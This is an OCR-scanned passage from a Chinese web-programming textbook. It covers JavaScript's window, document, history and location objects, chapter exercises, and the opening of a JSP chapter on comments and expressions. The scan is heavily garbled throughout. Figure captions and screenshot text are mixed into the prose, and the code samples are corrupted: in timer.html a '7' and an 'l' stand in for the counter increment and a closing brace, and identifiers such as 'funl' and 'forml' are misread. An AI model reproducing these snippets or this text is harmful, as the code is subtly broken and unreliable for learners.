该 代码 运用 了 JavaScript 中 的 循环 ,使 得 消息 框 怎么 点 都 不 会 结束 ,而 且 无 法 关 掉 浏览 
器 ,只 能 通过 关闭 进程 结束 。 读 者 可 以 进行 实验 。 
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3.2 JavaScript 内 置 对 象 


除了 可 以 在 代码 里 面 进 行 简单 的 编程 之 外 ,还 可 以 通过 JavaScript 提供 的 内 置 对 象 对 


网 页 进行 操作 ,内置 对 象 由 浏览 器 提供 ,可 以 直接 使 用 ,不 用 事先 定义 。 例 如 本 章 第 1 个 例 
子 中 的 “window. alert(" 第 一 个 JavaScript 程序 "六 ,其 中 的 window 就 是 一 个 内 置 对 象 。 


使 用 最 多 的 内 置 对 象 有 以 下 4 个 ,并 且 本 书 之 后 的 学 习 将 主要 围绕 这 4 个 对 象 展开 。 
(1) window: 负责 操作 浏览 器 窗口 ,负责 窗口 的 状态 、 开 / 闭 等 。 

(2) document: 负责 操作 浏览 器 载 和 的 文档 CHTML 文件 ) ,从 属于 window。 

(3) history: 可 以 代替 后 退 (前 进 ) 按 钮 访问 历史 记录 ,从 属于 window。 

(4) location: 访问 地 址 栏 , 也 从 属于 window。 

注意 : 如 果 一 个 对 象 从 属于 另 一 个 对 象 , 在 使 用 时 用 “.” 隔 开 , 例 如 window. document. 


XXX, 但 是 如 果 从 属于 window 对 象 ,window 可 以 省 略 , 例 如 window. document. XXX 可 以 
写 为 document. XXX 。 


3.2.1 window 对 象 


window 对 象 的 作用 如 下 。 

1. 出 现 提示 框 

window 对 象 可 以 跳出 提示 框 ,主要 有 如 下 功能 。 

。 window. alert(" 内 容 "): 出 现 消息 框 。 

。 window. confirm(" 内 容 "): 出 现 确 认 框 。 

。 window. prompt(" 内 容 "): 出 现 输入 框 。 

下 面 window1. html 文件 中 代码 的 功能 是 显示 一 些 提 示 框 。 


window1. html 


< html > 
<body> 
< script type = "text/javascript"> 
//1: 消 息 框 
window. alert(" 消 息 框 "); 
//2: 确 认 框 ,根据 result 的 值 true 或 者 false 来 判断 
result = window. confirm( "您 确认 提交 吗 ?"); 
//3: 输入 框 ,str 为 输入 的 值 ,如 果 取 消 ,str 的 值 为 nv11 
str = window. prompt(" 请 您 输入 一 个 字符 串 ",""); 
</script > 
</body> 
</html > 


用 浏览 器 打开 该 文件 将 会 依次 出 现 如 图 3-3 所 示 的 提示 框 。 
浏览 器 弹出 提示 框 后 载 和 页面 将 会 停滞 ,直到 用 户 做 出 操作 动作 ,其 中 消息 框 的 实际 运 


用 最 为 广泛 ,确认 框 其 次 ,输入 框 则 较为 少见 。 


2. 打开 、 关 闭 窗口 
window 对 象 还 用 于 控制 窗口 的 状态 和 开 / 闭 。 打 开 窗 口 主要 使 用 window 对 象 的 
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Explorer 用 户 提示 


脚本 提示 : 
请 您 输入 一 个 字符 忠 


一 一 一 一 一 


wal | Ba ew 


3-3 ”提示 框 运行 效果 


open() 函 数 。 
下 面 的 window2. html 文件 是 一 个 打开 窗口 的 应 用 实例 ,代码 如 下 。 


window2. html 


< html > 
<body> 
< script type = "text/javascript"> 
window, status = "出 现 新 窗口 "; 
// 打 开 新 窗口 
newWindow = window. open("window1. html", "new1", 
"width = 300, height = 300,top = 500, left = 500"); 
// 可 以 通过 返回 值 来 控制 新 窗口 
//newWindow. close( ); // 关 闭 窗口 
</script> 
</body> 
</html > 


在 本 例 中 首先 让 窗口 的 状态 栏 显 示 字 符 串 “出 现 新 窗口 ”, 然 后 打开 一 个 新 窗口 
windowl. html, 命 名 为 newl, 并 指定 宽度 ,高度 和 其 位 置 。 运 行 结果 如 图 3-4 所 示 。 

在 源 程序 中 ,“newWindow. close0;” 表 示 关 闭 newWindow。 

window 对 象 的 status 属性 值 将 显示 在 浏览 器 左下 角 的 状态 栏 中 ,如 图 3-5 所 示 。 


克 CNusers\Fan\Desktop\prioav- 


| ET 
图 3-4 运行 效果 图 3-5 项 目 运行 效果 


综 上 所 述 ,window. open0 在 网 页 制作 中 的 使 用 非常 广泛 ,参数 有 3 个 ,第 1 个 是 新 窗口 
的 地 址 ,第 2 个 是 新 窗口 的 名 称 ,第 3 个 是 新 窗口 的 状态 ,其 中 新 窗口 状态 可 设置 如 下 属性 。 

。 toolbar: 是 否 有 工具 栏 , 可 选 值 为 1 和 0。 

。 location: 是 否 有 地 址 栏 , 可 选 值 为 1 和 0。 

。 status: 是 否 有 状态 栏 , 可 选 值 为 1 和 0。 

。 menubar: 是 否 有 菜单 栏 ,可 选 值 为 1 和 0。 

。 scrollbars: 是 否 有 滚动 条 ,可 选 值 为 1 和 0。 
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。 resizable: 是 否 能 改变 大 小 ,可 选 值 为 1 和 0。 

。 width 和 height: 窗口 的 宽度 和 高 度 , 用 像素 表示 。 

。 left 和 top: 窗口 左上 角 相 对 于 桌面 左上 角 的 x 和 y 坐标 。 
各 属性 值 用 逗号 隔 开 ,如 下 面 的 代码 所 示 。 


newWindow = window. open("window1. html"， "newl1", 
"toolbar = 0, width = 300, height = 300, top= 500, left = 500"); 


3. 定时 器 
window 对 象 负责 管理 和 控制 页 面 的 定时 器 ,定时 器 的 作用 是 让 某 个 函数 隔 一 段 时 间 
之 后 运行 一 次 ,格式 如 下 。 


timer = window. setTimeout(" 需 要 运行 的 函数 ", "时 间 ( 用 毫秒 计 )"); 


如 果 要 清除 定时 器 ,可 以 用 如 下 代码 。 


clearTimeout (timer); 


下 面 的 timer. html 是 一 个 定时 器 的 应 用 实例 ,代码 如 下 。 


timer. html 


<html> 
<body> 
< script type = "text/javascript"> 
//setTimeout 让 函数 在 某 段 时 间 之 后 运行 1 次 ,参数 2 是 毫秒 数 
timer = window. setTimeout("fun1()","1000"); 
var i=0; 
function funl(){ 
7 
window. status = i; 
if(i==100){ 
window. clearTimeout (timer); // 清 除 定时 器 ,否则 会 一 直 运 行 
return; 
} 
timer = window. setTimeout("fun1()","1000"); 
l 
</script> 
</body > 
</html > 


其 运行 结果 如 图 3-6 所 示 。 
这 样 , 每 隔 1 秒 钟 状态 栏 中 的 数字 将 会 加 1, 直到 100, 之 后 将 
一 直 持续 100 的 状态 ,不 再 改变 。 Ecc 
设置 定时 器 可 以 使 网 页 定时 刷新 ,这 在 一 些 要 求 计 时 功能 的 “图 3 6 定时 器 运行 效果 
网 页 中 经 常 被 用 到 。 
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3.2.2 history 对 象 


history 对 象 包含 用 户 的 浏览 历史 等 信息 ,使 用 这 个 对 象 是 因为 它 可 以 代替 后 退 ( 前 进 ) 
按钮 访问 历史 记录 ,该 对 象 从 属于 window。 

history 对 象 最 常用 的 函数 如 下 。 

。 history. backQ: 返回 上 一 页 ,相当 于 单 击 浏览 器 上 的 后 退 按钮 。 

。 history. forward(): 返回 下 一 页 ,相当 于 单 击 浏览 器 上 的 前 进 按钮 。 

。 window. history. gom): 7 为 整数 , 正 数 表 示 向 前 进 格 页 面 ,负数 表示 向 后 退 n 格 


页 面 。 
下 面 的 history. html 文件 是 history 对 象 的 应 用 实例 ,代码 如 下 。 
history. html 
<html> 
<body> 


<a onclick = "history. forward()"> 前 进 </a> 
<a onclick = "history. back()"> 后 退 </a> 
</body> 
</html > 


运行 history. html, 结 果 如 图 3-7 所 示 。 

单 击 “前 进 ? 或 者 "后退 ”, 其 效果 和 单 击 浏览 器 上 的 按钮 一 样 。 前 进 后 退 

注意 : 此 处 用 到 了 网 页 元 素 的 事件 ,由 于 篇 幅 所 限 ,本 章 仅仅 用 
到 单 击 事件 (onclick) ,对 于 其 他 事件 ,读者 可 以 参考 相应 文档 。 


3.2.3 document 对 象 


document 对 象 从 属于 window ,其 功能 如 下 。 

1. 在 网 页 上 输出 

在 网 页 输出 方面 ,最 常见 的 函数 是 writeln()。 

下 面 的 documentl. html 文件 是 writeln0 函 数 的 应 用 实例 ,代码 如 下 。 


documentl. html 


图 3-7 运行 效果 


<html> 
<body> 
< script type = "text/javascript"> 
document. writeln(" 你 好 "); 
</script > 
</body > 
</html > 


其 运行 结果 如 图 3-8 所 示 。 
ee writeln0 丽 数 为 输出 一 些 简单 却 重复 的 代码 提供 了 很 大 的 便利 ， 
“了” 在 下 面 的 例子 中 将 要 使 用 表格 显示 一 个 8X8 的 国际 象棋 棋盘 ,正常 
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的 方法 需要 写 一 个 8 行 8 列表 格 的 代码 ,但 会 使 源 代码 非常 元 长 。 下 面 的 chess. html 文件 
是 使 用 writeln0 函 数 实现 的 方法 。 


chess. html 


<html> 
<body> 
< script type = "text/javascript"> 
document. writeln("< table width = 400 height = 400 border = 1 >"); 
for(i=1;i<=8;i++){ 
document. writeln("< tr >"); 
for(j=1;j<=8;j++){ 
color = "black"; 
if((i+j)%2==0){ 
color = "white"; 
} 
document. writeln("< td bgcolor =" + color + "></td>"); 
} 
document. writeln("</tr >"); 
} 
document. writeln("</table >"); 
</script > 
</body> 
</html > 


加 加 加 加 借助 writeln0 和 循环 方法 省 去 了 很 多 HTML 代码 的 编写 。 

| | 该 例 的 运行 结果 如 图 3-9 所 示 。 

图 2. 设置 网 页 的 属性 

图 使 用 document 对 象 可 以 进行 一 些 简单 网 页 属性 的 设置 , 例 
| 如 网 页 的 标题 .颜色 等 ,并 且 可 以 得 到 网 页 的 某 些 属性 ,例如 当前 

加 本 图 图 地 址 .其 比较 常用 的 设置 包括 通过 document. title 来 访问 标题 ， 

图 通过 document. location 来 获取 当前 网 页 的 地 址 等 。 


3-9 棋盘 运行 效果 下 面 的 document2. html 文件 是 一 个 设置 网 页 属性 的 应 用 实 
例 ,代码 如 下 。 
document2. html 
<html> 
<body> 


< script type = "text/javascript"> 
function fun(){ 
document. title= "新 的 标题 "; // 设 置 网 页 标题 
window. alert(document. location); // 得 到 当前 网 页 的 地 址 
} 
</script > 
< input type = "button" onclick = "fun()" value= "按钮 "> 
</body > 
</html > 
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运行 后 , 单 击 “ 按 钮 ”, 将 会 弹出 一 个 消息 框 ,内 容 为 当前 页 面 的 地 址 ,并 且 网 页 的 标题 将 


改变 为 "新 的 标题 ”。 对 于 其 他 功能 ,读者 可 以 参考 相应 文档 。 
3. 访问 文档 元 素 ,特别 是 表单 元 素 


使 用 document 对 象 可 以 访问 文档 中 的 元 素 ( 例 如 图 片 、 表 单 、 表 单 中 的 控件 等 ) ,前 提 


是 元 素 的 name 属性 是 确定 的 。 其 访问 方法 如 下 。 


比如 名 为 forml 的 表单 中 有 一 个 文本 框 account, 其 中 的 内 容 可 以 用 如 下 代码 获得 。 


Var account = document. forml. account. value; 


下 面 的 document3. html 文件 是 访问 表单 元 素 的 例子 ,其 中 有 两 个 文本 框 、 一 个 按钮 ， 
输入 两 个 数字 , 单 击 “ 求 和 ”按钮 ,将 显示 两 个 数字 的 和 。 其 代码 如 下 。 
document3. html 
<html> 
<body> 
< script type = "text/javascript"> 
function add( ){ 
// 得 到 这 两 个 文本 框 的 内 容 
nl = Number(document. form]. txtl1. value); 
n2 = Number(document. forml. txt2. value); 
document. forml. txt3. value = nl + n2; 
} 
</script> 
< form name = "forml"> 
< input name = "txt1" type = "text">< br> 
< input name = "txt2" type= "text">< br> 
< input type = "button" onclick = "add()" value = " 求 和 "><br> 
< input name = "txt3" type = "text">< br> 
</form> 
</body> 
</html > 
运行 后 文本 框 为 空 ,在 第 1 行 和 第 2 行文 本 框 中 填 人 数字 并 单 击 ”二 
“ 求 和 ”按钮 ,结果 如 图 3-10 所 示 。 1 
由 于 使 用 document 对 象 可 以 得 到 网 页 中 元 素 的 值 ,所 以 它 在 客 
户 端 的 验证 中 用 得 非常 广泛 , 比如 在 注册 或 登录 中 可 以 使 用 
求 和 效果 


JavaScript 得 到 表单 中 的 值 ,然后 通过 判断 做 出 相应 的 反应 。 Ean 
下 面 的 validate. html 文件 是 一 个 利用 JavaScript 判断 表单 中 值 
的 实例 ,代码 如 下 。 


validate. html 


<html> 
<body> 
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< script type = "text/javascript"> 
function validate(){ 
// 得 到 这 两 个 文本 框 的 内 容 
account = document. loginForm. account. value; 
password = document. loginForm. password. value; 
if(account == ""){ 
alert(" 账 号 不 能 为 空 "); 
document. loginForm. account. focus( ); // 聚 焦 
return; 
} 
else if(password== ""){ 
alert(" 密 码 不 能 为 空 "); 
document. loginForm. password. focus( ); 
return; 
document. loginForm. submit( ); 
} 
</script> 
欢迎 您 登录 : 
< form name = "loginForm"> 
输入 账号 :< input name = "account" type = "text">< br> 
输入 密码 :< input name = "password" type = "password"><br> 
< input type = "button" onclick = "validate()"” value= "登录 "> 
</form> 
</body> 
</html > 


图 


3-11 


验证 效果 


特别 提醒 :“document. loginForm. account. focus();” 
为 聚焦 函数 ,是 使 光标 移动 到 调用 这 个 函数 的 元 素 位 
置 ;“document. loginForm. submit0; ”为 提交 表单 ,与 单 
击 “ 登 录 ” 按 钮 的 效果 一 样 。 

这 样 进行 验证 可 以 减少 服务 器 遭 到 恶意 登录 的 


可 能 。 
运行 网 页 ,不 输入 账号 就 进行 登录 ,结果 如 图 3-11 
所 示 。 


从 上 面 的 程序 可 以 看 出 , 当 用 户 没有 输入 账号 或 密 
码 就 单 击 “ 登 录 ” 按 钮 时 将 弹出 提示 填写 账号 或 密码 的 


消息 框 ,直到 都 填写 完整 ,表单 才能 提交 。 
3.2.4 location 对 象 


location 对 象 可 以 访问 浏览 器 的 地 址 栏 , 它 也 从 属于 window, 其 最 常见 的 功能 就 是 跳 


转 到 另 一 个 网 页 , 跳 转 的 方法 是 修改 location 对 象 的 href 属性 。 
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下 面 的 location1. html 文件 是 一 个 网 页 跳 转 的 应 用 实例 ,代码 如 下 。 


location1. html 


<<html > 
< body> 
< script type = "text/javascript"> 
function locationTest(){ 
window. location. href = "image. jpg"; 
} 
</script > 
< input type = "button" onclick = "locationTest()" value = "按钮 "> 
<a href = "image. jpg"> 到 图 片 </a> 
</body > 
</html > 


其 运行 结果 如 图 3-12 所 示 。 
到 图 片 
图 3-12 运行 效果 


单 击 “ 按 钮 "和 单 击 “ 链 接 ” 的 效果 是 一 样 的 ,都 会 跳 转 到 如 图 3-13 所 示 的 页 面 。 


图 3-13 ” 跳 转 到 目标 页 面 
比较 常见 的 另 一 个 应 用 是 定时 跳 转 ,在 使 用 时 可 以 结合 window 的 定时 器 。 下 面 


location2. html 文件 是 它 的 具体 实现 ,代码 如 下 。 


location2. html 


的 


<html> 
<body> 
欢迎 您 登录 ,3 秒 钟 转 到 首页 .…… 
< script type = "text/javascript"> 
window. setTimeout ("toIndex()","3000"); // 在 3 秒 钟 后 运行 一 次 toIndex() 
function toIndex( ){ 
window. location. href = " image. jpg"; 


} 
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</script > 
</body> 
</html > 


其 运行 结果 如 图 3-14 所 示 。 
欢迎 您 登录 ，3 秒 钟 转 到 首页 ...... 


图 3-14 运行 效果 


3 秒 钟 后 界面 效果 如 图 3-13 所 示 。 


3.3 本 章 小 结 


本 章 学 习 了 JavaScript 语言 的 基本 语法 和 基本 内 置 对 象 ,并 通过 一 些 常见 应 用 讲解 了 
这 些 知 识 点 的 使 用 方法 。 

值得 一 提 的 是 ,本 章 只 讲解 了 JavaScript 的 基本 内 容 , 如 果 读 者 想 要 向 客户 端 编程 方面 
发 展 ,需要 了 解 更 多 的 JavaScript 知识 。 


3.4 课 后 习题 


一 、 填空 题 

1. 浏览 器 对 JavaScript 脚本 程序 进行 执行 。 

2. JavaScript 的 3 种 注释 写法 为 

3. 若 将 JavaScript 代码 写 在 单独 的 test. js 文件 中 ， 需要 在 调用 它 的 HTML 页 面 中 插 
入 的 代码 是 


4. JavaScript 的 内 置 对 象 负责 操作 浏览 器 窗口 ,其 中 方法 可 以 弹出 
消息 框 ， 方法 可 以 关闭 窗口 ， 方法 可 以 打开 新 窗口 。 

5 对 象 包含 用 户 的 浏览 历史 等 信息 ,其 中 方法 相当 于 单 击 浏览 器 上 
的 后 退 按钮 ， 方法 相当 于 单 击 浏览 器 上 的 前 进 按钮 。 

6. 在 名 为 form 的 表单 中 有 一 个 文本 框 account, 其 中 的 内 容 可 以 用 代码 
获得 。 

7. 用 location 对象 实现 跳 转 到 网 页 a. html 的 代码 是 

8. document 对 象 从 属于 对 象 。 

9. 用 document 对 象 可 以 进行 一 些 简 单 网 页 属性 的 设置 ,通过 来 访问 标题 , 通 
过 来 获取 当前 网 页 的 地 址 。 

二 、 选 择 题 


1. 下 列 关 于 JavaScript 的 说 法 错误 的 是 ( 和 
A. JavaScript 的 语法 和 Java 语言 的 语法 非常 类 似 
B. JavaScript 中 的 变量 是 弱 变 量 类 型 , 即 变量 的 类 型 根据 它 被 赋值 的 类 型 改变 
C. JavaScript 对 大 小 写 是 敏感 的 
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D. 服务 器 对 JavaScript 脚本 程序 进行 编译 、 运 行 
2. 在 HTML 页 面 上 编写 JavaScript 代码 时 应 编写 在 ( ) 标 签 之 间 。 


A. <body ></body> B. <javascript ></javascript > 
C. <script ></script > D. <form></form> 
3. 在 下 面 的 JavaScript 请 句 中 ,( ) 定 义 了 一 个 整 型 变量 并 赋值 为 10。 
A. var if=10 B. var larg=10 
C. var argl=10.0 D. var argl=10 


4. window. setTimeout("funQO",1000 赎 示 的 意思 是 ( b 
A. 间隔 1 秒 后 ,fun0 函 数 被 调用 1 次 
B. 间隔 1000 秒 后 ,fun0 函 数 被 调用 1 次 
C. 间隔 1 秒 后 ,fun0 函 数 被 调用 1000 次 
D. 间隔 1 毫秒 后 ,fun0 函 数 被 调用 1000 次 
5. window 对 象 的 ( ) 属 性 用 来 指定 浏览 器 状态 栏 中 显示 的 临时 消息 。 


A. title B. status C. toolbar D. location 
6. 在 history 对 象 中 不 能 实现 网 页 前 进 效 果 的 方法 是 ( )。 
A. forwardO B. backO C. goll) D. go(2) 


7. 在 浏览 器 的 状态 栏 中 显示 “这 是 状态 栏 ?消息 的 代码 是 ( Wa 
A. window. status=" 这 是 状态 栏 " 
B. window. status(" 这 是 状态 栏 ") 
C. status(" 这 是 状态 栏 ") 
D. status( 这 是 状态 栏 ","") 
8. 下 列 打开 新 窗口 的 代码 中 正确 的 是 (  )。 
A. window. open("window2. html", "new") 
B. window. open("window2. html", "new","") 
C. window. open(" window2. html") 
D. window. open(' new", "window2. html") 
9. 在 代码 < body onLoad="fl0" onError="f20"> 
<input onFocus="g10" onClick="g20"> 
</body > 中 ,一 定 会 被 调用 的 方法 是 ( ) 。 
A. f10 了 人 0 C20 D. g20 
三 、 上 机 习题 
1. 编写 一 个 金额 找 零 的 系统 ,用 输入 框 输入 一 个 整数 ,表示 找 零 的 数量 ,数值 为 1 一 
100。 假 如 系统 中 有 50、20、10、5、1 这 5 种 面额 的 纸币 ,显示 每 种 纸币 应 该 找 的 数量 。 例 如 
78 元 应 该 为 50 元 1 张 .20 元 1 张 .5 元 1 张 4 元 3 张 。 
2. 在 表单 中 输入 5 本 书 的 价格 ,显示 这 5 本 书 价格 的 和 。 
3. 用 document 对 象 在 屏幕 上 打印 100 个 “欢迎 ”。 
4. 用 表单 输入 10 本 书 的 价格 ,然后 显示 这 10 本 书 的 最 高 价格 、 最 低 价格 和 平均 价格 。 


]SP 编程 


JSP 基本 语法 


建议 学 时 : 2 

JSP(Java Server Pages) 将 动态 代码 嵌入 到 静态 的 HTML 中 ,从 而 产生 动态 的 输出 。 
JSP 运行 于 服务 器 端 ,能 够 对 客户 端 展现 内 容 、 变 化 网 页 文档 以 及 处 理 用 户 提交 的 表单 数据 。 
本 章 首先 学 习 编 写 JSP 页 面 \, 使 用 注释 ,然后 学 习 编 写 表 达 式 ,程序 段 和 声明 的 方法 。 

JSP 指令 和 动作 是 JSP 编程 中 的 两 个 重要 概念 。 本 章 将 学 习 常 见 的 指令 ,包括 page、 
include, 以 及 常见 的 动作 ,包括 include forward。 


4.1 第 一 个 JSP 页 面 


JSP 属于 动态 网 页 ,动态 网 页 大 家 随时 都 可 以 遇 到 。 当 在 百度 上 输入 关键 词 , 例 如 
“Java” 时 ,提交 搜索 ,百度 能 够 将 所 有 与 Java 有 关 的 搜索 结果 呈现 在 页 面 上 。 此 时 ,百度 在 
服务 器 端 进行 了 一 次 搜索 工作 ,这 次 搜索 工作 显然 不 可 能 是 人 工 完成 的 ,人 工 不 可 能 在 几 秒 
的 时 间 之 内 搜索 到 成 千 上 万 的 结果 ,搜索 过 程 是 程序 完成 的 ,程序 进行 了 查询 数据 库 的 操 
作 。HTML 不 能 够 查询 数据 库 ,Java 代码 却 可 以 访问 数据 库 , 因 此 在 HTML 代码 中 混合 
Java 代码 能 够 让 网 页 拥有 动态 的 功能 ,而 嵌入 了 Java 代码 的 网 页 就 是 JSP。 

下 面 开始 创建 第 一 个 JSP 网 页 ,操作 步骤 如 下 。 

@ 打开 MyEclipse, 建 立 Web 项 目 ,名 为 Prj04。 建 立 好 以 后 ,在 项 目的 WebRoot 下 有 
一 个 index.jsp, 可 以 先 将 其 删除 。 

@ 新 建 JSP 页 面 ,在 WebRoot 文件 夹 上 右 击 ,在 弹出 的 快捷 菜单 中 选择 New|JSP 命 
令 , 新 建 JSP 页 面 ,操作 界面 如 图 4-1 所 示 。 


Re ee ee een norte 
> Bi JRE Syster New ) 总 Web Service Project (Optional Maven Support) 
Java EE 5 Go Into 人 世 Java Project 
Etsblee | 二 二 苹 Report Web Project (Optional Maven Support) 
Show In Al+Shift+W» | [3 Project.. 
国 copy Cl+C | 十 Package 
鳃 ”copy Qualifed Name © Cass 
入 paste caly |@ Interface 
XX Delete Delete | Source Folder 
Build Path sd 
Refactor AltshifttT» | Fe 
= 区 Applet 
mage Preview 5 by | nponte [ei ps nie 
E23 Export- 大 JSP (Advanced Templates) 


图 4-1 选择 JSP 命令 
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@ 系统 弹出 创建 JSP 的 对 话 框 ,如 图 4-2 所 示 , 用 以 下 最 简单 JSP 页 面 的 代码 
(welcome. jsp 文件 ) 替 换 新 建 的 JSP 内 复杂 的 代码 。 


贸 Create a new JSP page. | 


| JSP Wizard 
| 4] 


File path: /Prjo4/WebRoot Browse... 
File Name: welcomejsp | 
| Template to use: [Default JSP template 要 


图 4-2 创建 JSP 对 话 框 


welcome. jsp 
<% @ page language = "java" contentTYpe = "text/html; charset = gb2312" %> 
<html> 
<body> 
< 和 
out. print(" 欢 迎 来 到 本 系统 !"); 
%> 
<br> 
</body > 
</html > 


在 上 述 代码 中 ,“out. print(' 欢 迎 来 到 本 系统 1");” 是 一 句 Java 代码 , 写 在 <%”%> 中 ; 
“<%@ page language="java" contentType="text/html; charset=gb2312"%>” 是 文件 的 
page 指令 ,定义 了 输出 的 格式 是 HTML 等 格式 。out 是 JSP 的 九 大 内 部 对 象 之 一 ,在 后 面 
还 会 有 介绍 。 

问答 

问 : JSP 与 HTML 有 什么 区 别 ? 

答 : HTML 页 面 是 静态 页 面 ,也 就 是 事先 由 用 户 写 好 放 在 服务 器 上 ,由 Web 服务 器 向 
客户 端 发 送 。JSP 页 面 是 由 JSP 容器 执行 该 页 面 的 Java 代码 部 分 ,然后 实时 生成 的 HTML 
页 面 ,因此 说 它 是 服务 器 端 动态 页 面 。 

如 果 要 测试 前 面 的 JSP 程序 ,利用 第 1 章 的 知识 ,需要 先 
部 署 该 程序 ,然后 启动 Tomcat 服务 器 。 在 浏览 器 的 地 址 栏 中 
输入 “http://localhost: 8080/Prj04/welcome. jsp”, 按 Enter 
键 ,该 程序 的 运行 效果 如 图 4-3 所 示 。 

值得 注意 的 是 ,在 客户 端 源 代码 中 是 看 不 到 Java 代码 的 。 选 择 浏览 器 上 的 菜单 命令 
“查看 ”|* 源 文件 ,显示 如 图 4-4 所 示 。 

图 4-3 所 示 页 面 的 源 代 码 如 图 4-5 所 示 。 

R 问 答 

问 : 上 述 效果 用 JavaScript 也 能 够 实现 ,有 何 区 别 ? 

答 : 最 大 的 区 别 是 JavaScript 源 代码 是 被 服务 器 发 送 到 客户 端 ,由 客户 端 执行 ,因此 在 


欢迎 来 到 本 系统 ! 
图 4-3 页 面 运行 效果 
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客户 端 可 以 看 到 JavaScript 源 代码 ; 而 Java 代码 却 不 会 。 例 如 以 下 的 welcome_js. jsp 页 


面 ,代码 如 下 。 


| 文件 日 ” 编 吉 日 


欢迎 来 到 本 系 纪 


bodyy> 
欢迎 来 到 本 系统 ! 


光标 浏览 (B) 忆 <br> 
</body> 
a 源 文件 (OQ </html> 
图 4-4 查看 源 文件 的 菜单 图 4-5 查看 源 代 码 


welcome_js. jsp 


<% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
< html > 
< body> 
< script type = "text/javascript"> 
document. write(" 欢 迎 来 到 本 系统 !"); 
</script> 
<br> 
</body> 
</html > 


运行 效果 与 图 4-3 所 示 的 页 面 效果 相同 ,然而 客户 端 源 代 码 如 图 4-6 所 示 。 


<%@ page language="java" contentType="text/html; charset=gb2312"%> 
<html> 
<body> 
<script type="text/javascript"> 
document .write ("欢迎 来 到 本 系统 !") ; 
</script> 
<br> 
</body> 
</html> 


图 4-6 客户 端 源 代码 
用 户 能 够 清楚 地 看 到 JavaScript 源 代码 ,所 以 ,同样 的 功能 使 用 不 同 的 方式 ,其 效果 是 


不 一 样 的 。 


4.2 注 释 


注释 是 代码 不 可 或 缺 的 重要 组 成 部 分 ,JSP 注释 可 以 分 成 以 下 两 类 。 
一 类 是 能 够 发 送 给 客户 端的 ,可 以 在 源 代 码 文件 中 显示 出 其 内 容 , 主 要 以 HTML 注释 


语法 出 现 。 
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<!-- 注释 内 容 --> 


这 是 HTML 的 注释 方式 ,可 以 在 里 面 加 入 JSP 表达 式 ( 对 于 表达 式 在 后 面 介绍 ) ,动态 
生成 注释 内 容 。 在 客户 端 可 以 接收 到 HTML 注释 的 内 容 。 

另 一 类 是 不 能 发 送 给 客户 端的 ,也 就 是 说 不 会 在 客户 端的 源 代 码 文件 中 显示 其 内 容 , 仅 
提供 给 程序 员 阅 读 。 这 种 注释 又 分 为 下 列 两 种 。 

Q@ JSP 注释 语法 。 


<% -- 注释 内 容 -- %> 


在 <%-- --%> 里 面 的 内 容 不 会 被 编译 ,更 不 会 执行 ,所 以 这 部 分 内 容 不 会 被 发 送 到 客 
户 端 。 
@ Java 代码 注释 。 


// 注 释 内 容 
/* 注释 内 容 */ 


因为 JSP 程序 可 以 嵌入 部 分 Java 代码 ,所 以 在 Java 代码 中 可 以 使 用 Java 本 身 的 注释 
语句 。 
下 面 通过 实例 观察 不 同 注释 方法 的 应 用 。 
首先 观看 HTML 注释 的 例子 ,代码 如 commentl. jsp 所 示 。 


comment]1. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 


out. print(" 欢 迎 来 本 系统 !"); 
%> 
<br> 
<! -- HTML 风格 注释 , 它 会 发 送 到 客户 端 --> 
</body > 
</html > 


运行 commentl. jsp 程序 后 在 客户 端的 浏览 器 中 查看 其 源 代 码 ,内 容 如 图 4-7 所 示 。 


<!-- HTML 风 格 注释 ， 它 会 发 送 到 客户 端 一 > 
</body> 
</html> 


图 4-7 查看 commentl. jsp 的 源 代 码 


可 以 看 到 ,在 HTML 注释 部 分 的 内 容 会 发 送 到 客户 端 。 
接着 观看 JSP 注释 语法 的 例子 ,代码 如 comment2. jsp 所 示 。 
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comment2. jsp 


<% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
<html> 
<body> 
< 第 
out. print(" 欢 迎 来 本 系统 !"); 
> 
<br> 
<% -- JSP 风格 注释 , 它 不 会 发 送 到 客户 端 -- %> 
</body > 
</html > 


运行 comment2. jsp 程序 后 在 客户 端的 浏览 器 中 查看 其 源 代码 ,内 容 如 图 4-8 所 示 。 
可 见 JSP 风格 注释 不 会 发 送 给 客户 端 。 
最 后 观看 Java 代码 注释 的 例子 ,代码 如 comment3. jsp 所 示 。 


comment3. jsp 
<% @ page language = "java" contentTYpe = "text/htm1; charset = gb2312" %> 
< html > 
< body> 
<% 
out. print(" 欢 迎 来 到 本 系统 !"); //Java 注释 
%> 
<br> 
</body> 
</html > 


在 客户 端的 浏览 器 中 查看 其 源 代 码 , 如 图 4-9 所 示 。 


<html> 
<body> <hrml> 
欢迎 来 本 系统 ! <body> 
<br> 欢迎 来 到 本 系统 ! 
<br> 
</body> </body> 
</html> </html> 
图 4-8 查看 comment2. jsp 的 源 代码 图 4-9 查看 comment3.jsp 的 源 代码 


也 就 是 说 上 述 注释 没有 发 送 到 客户 端 
4.3 JSP 表达 式 


JSP 表达 式 用 于 定义 JSP 的 一 些 输出 。JSP 表达 式 的 基本 语法 如 下 。 


<%= 变量 /返回 值 /表达 式 $> 


JSP 表达 式 的 作用 是 将 其 里 面 的 内 容 所 运算 的 结果 输出 到 客户 端 。 
例如 “<%= msg%>” 是 JSP 表达 式 ,意思 是 将 msg 内 容 输出 给 客户 端 。 其 等 价 于 
“<%out. print(msg) ; %>”。 
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下 面 以 欢迎 某 个 用 户 的 例子 来 介绍 JSP 表达 式 的 用 法 ,代码 如 expression. jsp 所 示 。 


expression. jsp 
<% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
<html> 
<body> 
< 第 
String name = "Jack"; 
String msg= "欢迎 来 到 本 系统 !"; 
先 > 
<br> 
<%=name+","+msg%> 
</body > 
</html > 


部 署 expression. jsp 程序 ,在 客户 端的 浏览 器 中 可 以 得 到 如 图 4-10 所 示 的 输出 效果 。 
表达 式 向 客户 端 输出 了 其 中 的 字符 串 变 量 , 在 浏 Jack, 欢迎 来 到 本 系统 ! 
览 器 中 显示 出 来 。 
使 用 JSP 表达 式 需要 注意 以 下 几 个 细节 。 图 4-10 ”expression. jsp 页 面 运 行 效果 
(1) 在 JSP 表达 式 中 不 能 用 “; ”结束 。 
(2) 在 JSP 表达 式 中 不 能 出 现 多 条 语句 。 
(3) JSP 表达 式 中 的 内 容 一 定 是 字符 串 类 型 ,或 者 能 通过 toString0 函 数 转换 成 字符 串 
的 形式 。 


4.4 JSP 程序 段 


